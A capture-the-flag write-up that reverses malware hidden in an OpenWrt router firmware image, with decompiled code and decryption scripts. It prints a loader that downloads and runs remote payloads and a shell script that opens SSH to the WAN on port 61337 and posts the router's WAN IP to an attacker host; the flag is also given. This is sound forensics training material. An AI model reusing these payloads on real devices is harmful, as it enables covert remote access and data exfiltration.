ZombieNet

This medium forensics challenge was some good binary reversing practice and started with a realistic Xiaomi Router firmware image. The goal was to find and understand the malware hidden in the filesystem by also interacting with the remote server after finding URLs.

The Firmware

From the challenge, we get one single openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin file. Quite the mouthful and running binwalk reveals that it contains many different sections:

Shell

$ binwalk openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x8AF857A2, created: 2023-11-14 13:38:11, image size: 2847980 bytes, Data Address: 0x80001000, Entry Point: 0x80001000, data CRC: 0xB8874DDF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "MIPS OpenWrt Linux-5.15.137"
5564          0x15BC          Copyright string: "Copyright (C) 2011 Gabor Juhos <[email protected]>"
5772          0x168C          LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 9467255 bytes
2848044       0x2B752C        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3585272 bytes, 1026 inodes, blocksize: 262144 bytes, created: 2023-11-14 13:38:11

Using the -e flag it can automatically extract known file types, like the 'Squashfs filesystem' here:

Shell

$ ll *.extracted
drwxr-xr-x  4 j0r1an j0r1an 4.0K Dec  9 09:15 ./
drwxr-xr-x  4 j0r1an j0r1an 4.0K Dec 10 11:16 ../
-rw-r--r--  1 j0r1an j0r1an 6.2M Dec  9 09:09 0
-rw-r--r--  1 j0r1an j0r1an 6.2M Dec  9 09:09 15BC
-rw-r--r--  1 j0r1an j0r1an 9.1M Dec  9 09:09 168C
-rw-r--r--  1 j0r1an j0r1an 6.2M Dec  9 09:09 168C.7z
-rw-r--r--  1 j0r1an j0r1an 3.5M Dec  9 09:09 2B752C
drwxr-xr-x  3 j0r1an j0r1an 4.0K Dec  9 09:20 _168C.extracted/
drwxr-xr-x 16 root   root   4.0K Nov 14 14:38 squashfs-root/

$ cd squashfs-root/

$ ll
drwxr-xr-x 16 root   root   4.0K Nov 14 14:38 ./
drwxr-xr-x  4 j0r1an j0r1an 4.0K Dec  9 09:15 ../
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 bin/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 dev/
drwx------ 22 root   root   4.0K Nov 14 14:38 etc/
-rwxr-xr-x  1 root   root    276 Nov 14 14:38 init*
drwxr-xr-x 11 root   root   4.0K Nov 14 14:38 lib/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 mnt/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 overlay/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 proc/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 rom/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 root/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 sbin/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 sys/
drwxrwxrwt  2 root   root   4.0K Nov 14 14:38 tmp/
drwxr-xr-x  7 root   root   4.0K Nov 14 14:38 usr/
lrwxrwxrwx  1 root   root      3 Nov 14 14:38 var -> tmp/
drwxr-xr-x  2 root   root   4.0K Nov 14 14:38 www/

That's interesting already, a Linux filesystem. Let's see if we can find anything interesting by just viewing file types:

Shell

$ find -type f -exec file {} \;
...
./sbin/ifstatus: POSIX shell script, ASCII text executable
./sbin/zombie_runner: POSIX shell script, ASCII text executable
./sbin/netifd: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
...

/sbin/zombie_runner? That does not sound like something a normal router would contain and is very much in theme with the name of the challenge.

Shell

$ cat ./sbin/zombie_runner

#!/bin/sh

while [ 1 ]; do
    /usr/bin/dead-reanimation
    sleep 600
done

exit 0

$ file ./usr/bin/dead-reanimation
./usr/bin/dead-reanimation: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header

Malware Loader

It runs the /usr/bin/dead-reanimation binary every 10 minutes, which is an ELF binary compiled for the MIPS architecture. We can try to open it in a decompiler like Ghidra to quickly see what it does. We'll start at the entry() function, and see what gets called from there:

C

void processEntry entry(void) {
  FUN_00400664();
  halt_baddata();
}

void FUN_00400664(void) {
  int *unaff_retaddr;
  undefined local_res0 [16];
  
  (*(code *)((int)unaff_retaddr + (unaff_retaddr[1] - *unaff_retaddr)))
            (local_res0,(int)unaff_retaddr + (unaff_retaddr[2] - *unaff_retaddr));
  __libc_start_main(FUN_00400cf4,*(undefined4 *)register0x00000074,
                    (undefined4 *)((int)register0x00000074 + 4),_init,_fini,0);
  return;
}

It calls FUN_00400664() which you'll recognize if you've reversed programs before. This first function in the __libc_start_main() argument is the main() function that runs our program. We can rename it by pressing L and then analyze it further:

C

undefined4 main(void) {
  int iVar1;
  ...
  undefined auStack_7c [60];
  undefined auStack_40 [56];
  
  local_a8 = 0x9a6f65f0;
  local_a4 = 0xadf4e47e;
  local_a0 = 0x4e937069;
  local_9c = 0x8ec5e155;
  local_98 = 0x3af55fc1;
  local_94 = 0;
  local_90 = 0x9a6f65f0;
  local_8c = 0xadf4f27e;
  local_88 = 0x4a8c4663;
  local_84 = 0x9082ea40;
  local_80 = 200;
  memcpy(auStack_7c,&DAT_00400f74,0x3a);
  memcpy(auStack_40,&DAT_00400fb0,0x37);
  FUN_00400c04(&local_a8);
  FUN_00400c04(&local_90);
  FUN_00400c04(auStack_7c);
  FUN_00400c04(auStack_40);
  iVar1 = access((char *)&local_a8,0);
  if (iVar1 == -1) {
    FUN_00400b20(auStack_7c,&local_a8);
    chmod((char *)&local_a8,0x1ff);
  }
  iVar1 = access((char *)&local_90,0);
  if (iVar1 == -1) {
    FUN_00400b20(auStack_40,&local_90);
    chmod((char *)&local_90,0x1ff);
  }
  system((char *)&local_90);
  system((char *)&local_a8);
  return 0;
}

Seems like a stripped binary with some simple logic to follow. Some byte arrays are created in local_a8 and local_90, as well as auStack_7c and auStack_40 which have their contents copied from a DAT_ entry. These bytes can be viewed by double-clicking the name and can be copied from the assembly view. All these data variables are each passed into FUN_00400c04, which seems to decrypt them:

C

void FUN_00400c04(char *param_1) {
  uint uVar1;
  size_t sVar2;
  uint local_10;
  
  for (local_10 = 0; sVar2 = strlen(param_1), local_10 < sVar2; local_10 = local_10 + 1) {
    uVar1 = local_10 & 0x8000001f;
    if ((int)uVar1 < 0) {
      uVar1 = (uVar1 - 1 | 0xffffffe0) + 1;
    }
    param_1[local_10] = param_1[local_10] ^ (&DAT_00400f24)[uVar1];
  }
  return;
}

The iterator local_10 loops over the input parameter, and XORs each character with a static key stored in DAT_00400f24. Note that this key is indexed with uVar1 that has some small calculation done each loop, which we can confirm to just be a % 32 operation:

Python

>>> [local_10 & 0x8000001f for local_10 in range(100)]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 
 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 
 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 
 0, 1, 2, 3]

By copying the data and recreating the algorithm, we can start to decrypt these values ourselves:

Python

from pwn import xor

KEY = bytes.fromhex(
    "df 11 02 ea 51 80 91 cc 0d 2f e1 2b 34 8f ac e3 a0 2b 90 5e 03 a2 a4 32 ed ee 03 96 83 57 f4 b0")

assert len(KEY) == 32

variables = {
    "local_a8":   "f0 65 6f 9a 7e e4 f4 ad 69 70 93 4e 55 e1 c5 8e c1 5f f5 3a",
    "local_90":   "f0 65 6f 9a 7e f2 f4 ad 63 46 8c 4a 40 ea 82 90 c8",
    "auStack_7c": "b7 65 76 9a 6b af be af 62 41 87 42 53 fc 82 91 cf 5e e4 3b 71 8c cc 46 8f c1 67 f3 e2 33 ab c2 ba 70 6c 83 3c e1 e5 a9 69 70 8c 65 59 d5 f8 ae d4 65 fa 0b 30 fb f7 02 dd",
    "auStack_40": "b7 65 76 9a 6b af be af 62 41 87 42 53 fc 82 91 cf 5e e4 3b 71 8c cc 46 8f c1 71 f3 e2 39 9d dd be 65 67 c4 22 e8 ce a6 48 55 ae 7c 79 fb f6 b7 f5 53 df 0d 33 92"
}

for name, data in variables.items():
    data = bytes.fromhex(data)
    print(name, xor(data, KEY))

Shell

$ python decrypt.py
local_a8 b"/tmp/dead_reanimated\xf3\xc7\xcb\xa8\x93\n\xf7;\xea'g\xfe"
local_90 b'/tmp/reanimate.sh\xdb\xf51\x99\xdcV\xc6@\x8dE\x1a\xc9\x17\x1e2'
auStack_7c b'http://configs.router.htb/dead_reanimated_mNmZTMtNjU3YS00'
auStack_40 b'http://configs.router.htb/reanimate.sh_jEzOWMtZTUxOS00'

A good start, two paths, and two URLs. If we follow the main() code again these strings are passed to the FUN_00400b20() after decryption in pairs of two. This function uses the curl C-API to make a request and download the files to the specified locations. We can be sure of this by checking the CURLOPT codes and matching them with the hex in the decompilation:

C

undefined4 FUN_00400b20(undefined4 param_1,char *param_2) {
  int iVar1;
  FILE *__stream;
  
  iVar1 = curl_easy_init();
  if (iVar1 != 0) {
    __stream = fopen(param_2,"wb");
    // CURLOPT_URL
    curl_easy_setopt(iVar1,0x2712,param_1);
    // CURLOPT_WRITEFUNCTION
    curl_easy_setopt(iVar1,0x4e2b,0);
    // CURLOPT_FILE
    curl_easy_setopt(iVar1,0x2711,__stream);
    curl_easy_perform(iVar1);
    curl_easy_cleanup(iVar1);
    fclose(__stream);
  }
  return 0;
}

It will simply download the URLs we decrypted to the locations we decrypted. Finally, the main function calls system() on both locations after chmod()'ing them, so they must be executable.

C

system((char *)&local_90);
system((char *)&local_a8);

Let's use the provided server to download them:

Shell

$ wget 94.237.62.52:31268/reanimate.sh_jEzOWMtZTUxOS00 -H 'Host: configs.router.htb'

$ wget 94.237.62.52:31268/dead_reanimated_mNmZTMtNjU3YS00 -H 'Host: configs.router.htb'

$ file reanimate.sh_jEzOWMtZTUxOS00
reanimate.sh_jEzOWMtZTUxOS00: POSIX shell script, ASCII text executable

$ file dead_reanimated_mNmZTMtNjU3YS00
dead_reanimated_mNmZTMtNjU3YS00: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, with debug_info, not stripped

Part 1: Shell script

We'll first look at the shell script as it will likely be the easiest to understand. There is some router-specific code, but on the last line, this is exfiltrated to the attacker's server with an auth_token:

sh

#!/bin/sh

WAN_IP=$(ip -4 -o addr show pppoe-wan | awk '{print $4}' | cut -d "/" -f 1)
ROUTER_IP=$(ip -4 -o addr show br-lan | awk '{print $4}' | cut -d "/" -f 1)

CONFIG="config redirect         \n\t
        option dest 'lan'           \n\t
        option target 'DNAT'        \n\t
        option name 'share'         \n\t
        option src 'wan'            \n\t
        option src_dport '61337'    \n\t
        option dest_port '22'       \n\t
        option family 'ipv4'        \n\t
        list proto 'tcpudp'         \n\t
        option dest_ip '${ROUTER_IP}'"

echo -e $CONFIG >> /etc/config/firewall
/etc/init.d/firewall restart

curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate

We can see though that this auth_token value is not completely random, it is the first part of the flag in base64!
HTB{Z0mb13s_h4v3_inf (CyberChef)

Part 2: ELF executable

Next up is the ELF executable dead_reanimated_mNmZTMtNjU3YS00, which we can once again open in Ghidra:

C

undefined4 main(void) {
  ...
  
  local_20._0_1_ = 'z';
  local_20._1_1_ = 'o';
  local_20._2_1_ = 'm';
  local_20._3_1_ = 'b';
  local_1c._0_1_ = 'i';
  local_1c._1_1_ = 'e';
  local_1c._2_1_ = '_';
  local_1c._3_1_ = 'l';
  local_18._0_1_ = 'o';
  local_18._1_1_ = 'r';
  local_18._2_1_ = 'd';
  local_18._3_1_ = '\0';
  memcpy(auStack_68,"d2c0ba035fe58753c648066d76fa793bea92ef29",0x29);
  memcpy(acStack_3c,&DAT_00400d50,0x1b);
  sVar1 = strlen(acStack_3c);
  pvVar2 = malloc(sVar1 << 2);
  init_crypto_lib(auStack_68,acStack_3c,pvVar2);
  iVar3 = curl_easy_init();
  if (iVar3 == 0) {
    uVar7 = 0xfffffffe;
  }
  else {
    curl_easy_setopt(iVar3,0x2712,"http://callback.router.htb");
    curl_easy_setopt(iVar3,0x271f,pvVar2);
    curl_easy_perform(iVar3);
    curl_easy_cleanup(iVar3);
    pFVar4 = fopen("/proc/sys/kernel/hostname","r");
    ...

This one is less stripped, nice. Once again, it looks to be decrypting strings just like in the last binary and then uses them for a curl request. Let's find out what these decrypt to.

auStack_68 and acStack_3c are known static data to us. pvVar2 is a new buffer allocated right before the call to init_crypto_lib(), which uses our other parameters. At first, this might seem like some complicated library function, but when we double-click it it's clear that this is part of the custom code:

C

undefined4 init_crypto_lib(undefined4 param_1,undefined4 param_2,undefined4 param_3) {
  undefined auStack_110 [260];
  
  key_rounds_init(param_1,auStack_110);
  perform_rounds(auStack_110,param_2,param_3);
  return 0;
}

undefined4 key_rounds_init(char *param_1,undefined *param_2) {
  byte bVar1;
  size_t sVar2;
  int iVar3;
  undefined *puVar4;
  int iVar5;
  byte *pbVar6;
  int iVar7;
  
  sVar2 = strlen(param_1);
  iVar3 = 0;
  puVar4 = param_2;
  do {
    *puVar4 = (char)iVar3;
    iVar3 = iVar3 + 1;
    puVar4 = param_2 + iVar3;
  } while (iVar3 != 0x100);
  iVar3 = 0;
  iVar5 = 0;
  do {
    iVar7 = iVar3 % (int)sVar2;
    if (sVar2 == 0) {
      trap(0x1c00);
    }
    pbVar6 = param_2 + iVar3;
    bVar1 = *pbVar6;
    iVar3 = iVar3 + 1;
    iVar5 = (int)((int)param_1[iVar7] + (uint)bVar1 + iVar5) % 0x100;
    *pbVar6 = param_2[iVar5];
    param_2[iVar5] = bVar1;
  } while (iVar3 != 0x100);
  return 0;
}

undefined4 perform_rounds(int param_1,char *param_2,int param_3) {
  byte bVar1;
  size_t sVar2;
  byte *pbVar3;
  size_t sVar4;
  uint uVar5;
  uint uVar6;
  
  sVar2 = strlen(param_2);
  uVar6 = 0;
  uVar5 = 0;
  for (sVar4 = 0; sVar4 != sVar2; sVar4 = sVar4 + 1) {
    uVar5 = uVar5 + 1 & 0xff;
    pbVar3 = (byte *)(param_1 + uVar5);
    bVar1 = *pbVar3;
    uVar6 = bVar1 + uVar6 & 0xff;
    *pbVar3 = *(byte *)(param_1 + uVar6);
    *(byte *)(param_1 + uVar6) = bVar1;
    *(byte *)(param_3 + sVar4) = *(byte *)(param_1 + ((uint)bVar1 + (uint)*pbVar3 & 0xff)) ^ param_2[sVar4];
  }
  return 0;
}

These two functions both implement cryptographic logic that one could try to reverse engineer, but can also be solved through dynamic analysis. If we just copy the inputs and these two functions into another C script and run it, we can print the result. We just have to replace some undefined types, uint -> unsigned int and byte -> char:

C

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

int key_rounds_init(char *param_1, char *param_2)
{
    uint8_t bVar1;
    size_t sVar2;
    int iVar3;
    char *puVar4;
    int iVar5;
    char *pbVar6;
    int iVar7;

    sVar2 = strlen(param_1);
    iVar3 = 0;
    puVar4 = param_2;
    do
    {
        *puVar4 = (char)iVar3;
        iVar3 = iVar3 + 1;
        puVar4 = param_2 + iVar3;
    } while (iVar3 != 0x100);
    iVar3 = 0;
    iVar5 = 0;
    do
    {
        iVar7 = iVar3 % (int)sVar2;
        if (sVar2 == 0)
        {
            // trap(0x1c00);
            return 0;
        }
        pbVar6 = param_2 + iVar3;
        bVar1 = *pbVar6;
        iVar3 = iVar3 + 1;
        iVar5 = (int)((int)param_1[iVar7] + bVar1 + iVar5) % 0x100;
        *pbVar6 = param_2[iVar5];
        param_2[iVar5] = bVar1;
    } while (iVar3 != 0x100);
    return 0;
}

int perform_rounds(char *buffer, char *enc_stream, char *result)
{
    size_t length;
    char *pbVar1;
    size_t i;
    unsigned int uVar1;
    unsigned int uVar2;
    char bVar1;

    length = strlen(enc_stream);
    uVar2 = 0;
    uVar1 = 0;
    for (i = 0; i != length; i = i + 1)
    {
        uVar1 = uVar1 + 1 & 0xff;
        pbVar1 = buffer + uVar1;
        bVar1 = *pbVar1;
        uVar2 = (char)bVar1 + uVar2 & 0xff;
        *pbVar1 = buffer[uVar2];
        buffer[uVar2] = bVar1;
        result[i] = buffer[(unsigned int)(char)bVar1 + (unsigned int)(char)*pbVar1 & 0xff] ^ enc_stream[i];
    }
    return 0;
}

int init_crypto_lib(char *key1, char *enc_stream, char *result)
{
    char buffer[260];

    key_rounds_init(key1, buffer);
    perform_rounds(buffer, enc_stream, result);
    return 0;
}

int main()
{
    size_t sVar1;
    char *result;
    char key1[44] = "d2c0ba035fe58753c648066d76fa793bea92ef29";
    char key2[28] = {0xc5, 0x7c, 0x2b, 0x05, 0x48, 0x90, 0xf3, 0xb7, 0x3f, 0x76, 0x0f, 0x5b, 0x68, 0x7b, 0x62, 0x72, 0xbd, 0xf8, 0x01, 0x9b, 0x57, 0x47, 0x1e, 0x6f, 0xdf, 0x8c, 0x55, 0x00};

    sVar1 = strlen(key2);
    result = malloc(sVar1 << 2);
    init_crypto_lib(key1, key2, result);

    printf("result: %s\n", result);
    return 0;
}

After compiling and running this script, we can find the second part of the flag!

Shell

$ gcc decrypt.c -o decrypt && ./decrypt
result: 3ct3d_0ur_c0mmun1c4t10ns!!}

Now we just combine both parts to submit to the platform:
HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!}